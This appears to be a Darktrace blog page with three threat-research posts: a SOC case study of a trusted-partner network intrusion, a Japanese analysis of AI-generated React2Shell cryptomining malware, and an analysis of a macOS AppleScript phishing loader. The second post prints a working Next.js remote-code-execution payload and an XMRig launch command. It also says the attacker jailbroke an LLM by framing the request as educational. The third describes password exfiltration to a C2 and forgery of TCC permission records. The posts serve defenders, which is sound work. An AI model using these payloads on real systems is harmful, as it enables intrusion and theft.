ブログ
/
Network
/
January 17, 2024

Detecting Trusted Network Relationship Abuse

Discover how Darktrace DETECT and the SOC team responded to a network compromise via a trusted partner relationship with this case study.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst
Written by
Taylor Breland
Analyst Team Lead, San Francisco
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
17
Jan 2024

Trusted relationships between organizations and third parties have become an increasingly popular target for cyber threat actors to gain access to sensitive networks. These relationships are typically granted by organizations to external or adjacent entities and allow for the access of internal resources for business purposes.1 Trusted network relations can exist between constituent elements of an overarching corporation, IT-service providers and their customers, and even implicitly between IT product vendors and their customers.

Several high-profile compromises have occurred due to the leveraging of privileged network access by such third parties. One prominent example is the 2016 DNC network attack, in which the trust between the Democratic Congressional Campaign Committee (DCCC) and the Democratic National Committee (DNC) was exploited. Supply chain attacks, which also leverage the implicit trust between IT vendors and customers, are also on the rise with some estimates projecting that by 2025, almost half of all organizations will be impact by supply chain compromises.2 These trends may also be attributed to the prevalence of remote work as well as the growth in IT-managed service providers.3

Given the nature of such network relationships and threat techniques, signatures-based detection is heavily disadvantaged in the identification and mitigation of such trust abuses; network administrators cannot as easily use firewalls to block IPs that need access to networks. However, Darktrace DETECT™, and its Self-Learning AI, has proven successful in the identification and mitigation of these compromises. In September 2023, Darktrace observed an incident involving the abuse of such a trusted relationship on the network of a healthcare provider.

Attack Overview

In early September 2023, a Darktrace customer contacted the Darktrace Security Operations Center (SOC) through the Ask the Expert™ (ATE) service requesting assistance with suspicious activity detected on their network. Darktrace had alerted the customer’s security team to an unknown device that had appeared on their network and proceeded to perform a series of unexpected activities, including reconnaissance, lateral movement, and attempted data exfiltration.

Unfortunately for this customer, Darktrace RESPOND™ was not enabled in autonomous response mode at the time of this compromise, meaning any preventative actions suggested by RESPOND had to be applied manually by the customer’s security team after the fact.  Nevertheless, Darktrace’s prompt identification of the suspicious activity and the SOC’s investigation helped to disrupt the intrusion in its early stages, preventing it from developing into a more disruptive compromise.

Initial Access

Darktrace initially observed a new device that appeared within the customers internal network with a Network Address Translated (NAT) IP address that suggested remote access from a former partner organization’s network. Further investigation carried out by the customer revealed that poor credential policies within the partner’s organization had likely been exploited by attackers to gain access to a virtual desktop interface (VDI) machine.

Using the VDI appliance of a trusted associate, the threat actor was then able to gain access to the customer’s environment by utilizing NAT remote access infrastructure. Devices within the customer’s network had previously been utilized for remote access from the partner network when such activity was permitted and expected. Since then, access to this network was thought to have been removed for all parties. However, it became apparent that the remote access functionality remained operational. While the customer also had firewalls within the environment, a misconfiguration at the time of the attack allowed inbound port access to the remote environment resulting in the suspicious device joining the network on August 29, 2023.

Internal Reconnaissance

Shortly after the device joined the network, Darktrace observed it carrying out a string of internal reconnaissance activity. This activity was initiated with internal ICMP address connectivity, followed by internal TCP connection attempts to a range of ports associated with critical services like SMB, RDP, HTTP, RPC, and SSL. The device was also detected attempting to utilize privileged credentials, which were later identified as relating to a generic multi-purpose administrative account. The threat actor proceeded to conduct further internal reconnaissance, including reverse DNS sweeps, while also attempting to use six additional user credentials.

In addition to the widespread internal connectivity, Darktrace observed persistent connection attempts focused on the RDP and SMB protocols. Darktrace also detected additional SMB enumeration during this phase of the attacker’s reconnaissance. This reconnaissance activity largely attempted to access a wide variety of SMB shares, previously unseen by the host to identify available share types and information available for aggregation. As such, the breach host conducted a large spike in SMB writes to the server service (srvsvc) endpoint on a range of internal hosts using the credential: extramedwb. SMB writes to this endpoint traditionally indicate binding attempts.

Beginning on August 31, Darktrace identified a new host associated with the aforementioned NAT IP address. This new host appeared to have taken over as the primary host conducting the reconnaissance and lateral movement on the network taking advantage of the VDI infrastructure. Like the previous host, this one was observed sustaining reconnaissance activity on August 31, featuring elevated SMB enumeration, SMB access failures, RDP connection attempts, and reverse DNS sweeps.  The attackers utilized several credentials to execute their reconnaissance, including generic and possibly default administrative credentials, including “auditor” and “administrator”.

Figure 1: Advanced Search query highlighting anomalous activity from the second observed remote access host over the course of one week surrounding the time of the breach.

Following these initial detections by Darktrace DETECT, Darktrace’s Cyber AI Analyst™ launched an autonomous investigation into the scanning and privileged internal connectivity and linked these seemingly separate events together into one wider internal reconnaissance incident.

Figure 2: Timeline of an AI Analyst investigation carried out between August 29 and August 31, 2023, during which it detected an increased volume of scanning and unusual privileged internal connectivity.

Lateral Movement

Following the reconnaissance activity performed by the new host observed exploiting the remote access infrastructure, Darktrace detected an increase in attempts to move laterally within the customer’s network, particularly via RPC commands and SMB file writes.

Specifically, the threat actor was observed attempting RPC binds to several destination devices, which can be used in the calling of commands and/or the creation of services on destination devices. This activity was highlighted in repeated failed attempts to bind to the ntsvcs named pipe on several destination devices within the network. However, given the large number of connection attempts, Darktrace did also detect a number of successful RPC connections.

Darktrace also detected a spike in uncommon service control (SVCCTL) ExecMethod, Create, and Start service operations from the breach device.

Figure 3: Model breach details noting the affected device performing unsuccessful RPC binds to endpoints not supported on the destination device.

Additional lateral movement activity was performed using the SMB/NTLM protocols. The affected device also conducted a series of anonymous NTLM logins, whereby NTLM authentication attempts occurred without a named client principal, to a range of internal hosts. Such activity is highly indicative of malicious or unauthorized activity on the network. The host also employed the outdated SMB version 1 (SMBv1) protocol during this phase of the kill chain. The use of SMBv1 often represents a compliance issue for most networks due to the high number of exploitable vulnerabilities associated with this version of the protocol.

Lastly, Darktrace identified the internal transfer of uncommon executables, such as ‘TRMtZSqo.exe’, via SMB write. The breach device was observed writing this file to the hidden administrative share (ADMIN$) on a destination server. Darktrace recognized that this activity was highly unusual for the device and may have represented the threat actor transferring a malicious payload to the destination server for further persistence, data aggregation, and/or command and control (C2) operations. Further SMB writes of executable files, and the subsequent delete of these binaries, were observed from the device at this time. For example, the additional executable ‘JAqfhBEB.exe’ was seen being deleted by the breach device. This deletion, paired with the spike in SVCCTL Create and Start operations occurring, suggests the transfer, execution, and removal of persistence and data harvesting binaries within the network.

Figure 4: AI Analyst details highlighting the SMB file writes of the unusual executable from the remote access device during the compromise.

Conclusion

Ultimately, Darktrace was able to successfully identify and alert for suspicious activity being performed by a threat actor who had gained unauthorized access to the customer’s network by abusing one of their trusted relationships.

The identification of scanning, RPC commands and SMB sessions directly assisted the customer in their response to contain and mitigate this intrusion. The investigation carried out by the Darktrace SOC enabled the customer to promptly triage and remediate the attack, mitigating the potential damage and preventing the compromise from escalating further. Had Darktrace RESPOND been enabled in autonomous response mode at the time of the attack, it would have been able to take swift action to inhibit the scanning, share enumerations and file write activity, thereby thwarting the attacker’s network reconnaissance and lateral movement attempts.

By exploiting trusted relationships between organizations, threat actors are often able to bypass traditional signatured-based security methods that have previously been reconfigured to allow and trust connections from and to specific endpoints. Rather than relying on the configurations of specific rules and permitted IP addresses, ports, and devices, Darktrace DETECT’s anomaly-based approach to threat detection meant it was able to identify suspicious network activity at the earliest stage, irrespective of the offending device and whether the domain or relationship was trusted.

Credit to Adam Potter, Cyber Security Analyst, Taylor Breland, Analyst Team Lead, San Francisco.

Darktrace DETECT Model Breach Coverage:

  • Device / ICMP Address Scan
  • Device / Network Scan
  • Device / Suspicious SMB Scanning Activity
  • Device / RDP Scan
  • Device / Possible SMB/NTLM Reconnaissance
  • Device / Reverse DNS Sweep
  • Anomalous Connection / SMB Enumeration
  • Device / Large Number of Model Breaches
  • Anomalous Connection / Suspicious Activity On High Risk Device
  • Unusual Activity / Possible RPC Recon Activity
  • Device / Anonymous NTLM Logins
  • Anomalous Connection / Unusual SMB Version 1 Connectivity
  • Device / Repeated Unknown RPC Service Bind Errors
  • Anomalous Connection / New or Uncommon Service Control
  • Compliance / SMB Drive Write
  • Anomalous File / Internal / Unusual Internal EXE File Transfer
  • Device / Multiple Lateral Movement Model Breaches

AI Analyst Incidents:

  • Scanning of Multiple Devices
  • Extensive Unusual RDPConnections
  • SMB Write of Suspicious File
  • Suspicious DCE-RPC Activity

MITRE ATT&CK Mapping

  • Tactic: Initial Access
  • Technique: T1199 - Trusted Relationship
  • Tactic: Discovery
  • Technique:
  • T1018 - Remote System Discovery
  • T1046 - Network Service Discovery
  • T1135 - Network Share Discovery
  • T1083 - File and Directory Discovery
  • Tactic: Lateral Movement
  • Technique:
  • T1570 - Lateral Tool Transfer
  • T1021 - Remote Services
  • T1021.002 - SMB/Windows Admin Shares
  • T1021.003 - Distributed Component Object Model
  • T1550 - Use Alternate Authentication Material

References

1https://attack.mitre.org/techniques/T1199/

2https://www.cloudflare.com/learning/insights-supply-chain-attacks/

3https://newsroom.cisco.com/c/r/newsroom/en/us/a/y2023/m09/companies-reliance-on-it-managed-services-increases-in-2023-sector-valued-at-us-472-billion-globally.html#:~:text=IT%20channel%20partners%20selling%20managed,US%24419%20billion%20in%202022.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst
Written by
Taylor Breland
Analyst Team Lead, San Francisco

More in this series

No items found.

Blog

/

Network

/

February 11, 2026

AI/LLMで生成されたマルウェアを使ったReact2Shellエクスプロイト

Default blog imageDefault blog image

はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発(“vibecoding”とも呼ばれます)が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

Container spawned with the name ‘python-metrics-collector’.
図1:‘python-metrics-collector’ という名前で生成されたコンテナ

次に、必要な一連のpythonパッケージを次からダウンロードします

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

  • hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only(教育/研究目的専用)” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
図2:GPTZeroによるAI検知の結果は、スクリプトがAIモデルを使って生成された可能性を示しています。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します:

  • 念入りに構成されたNext.jsサーバーコンポーネントペイロード
  • 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
  • 任意のシェルコマンドを実行する子プロセス起動

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン(トランザクションを追跡できずウォレット残高が閲覧できない)が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

 The supportxmr mining pool overview for the attackers wallet address
図3:supportxmrマイニングツールに表示される攻撃者のウォレットアドレス概要

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当:Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ(IoC)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

Default blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

 Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

 Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

Continue reading
About the author
Tara Gould
Malware Research Lead
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ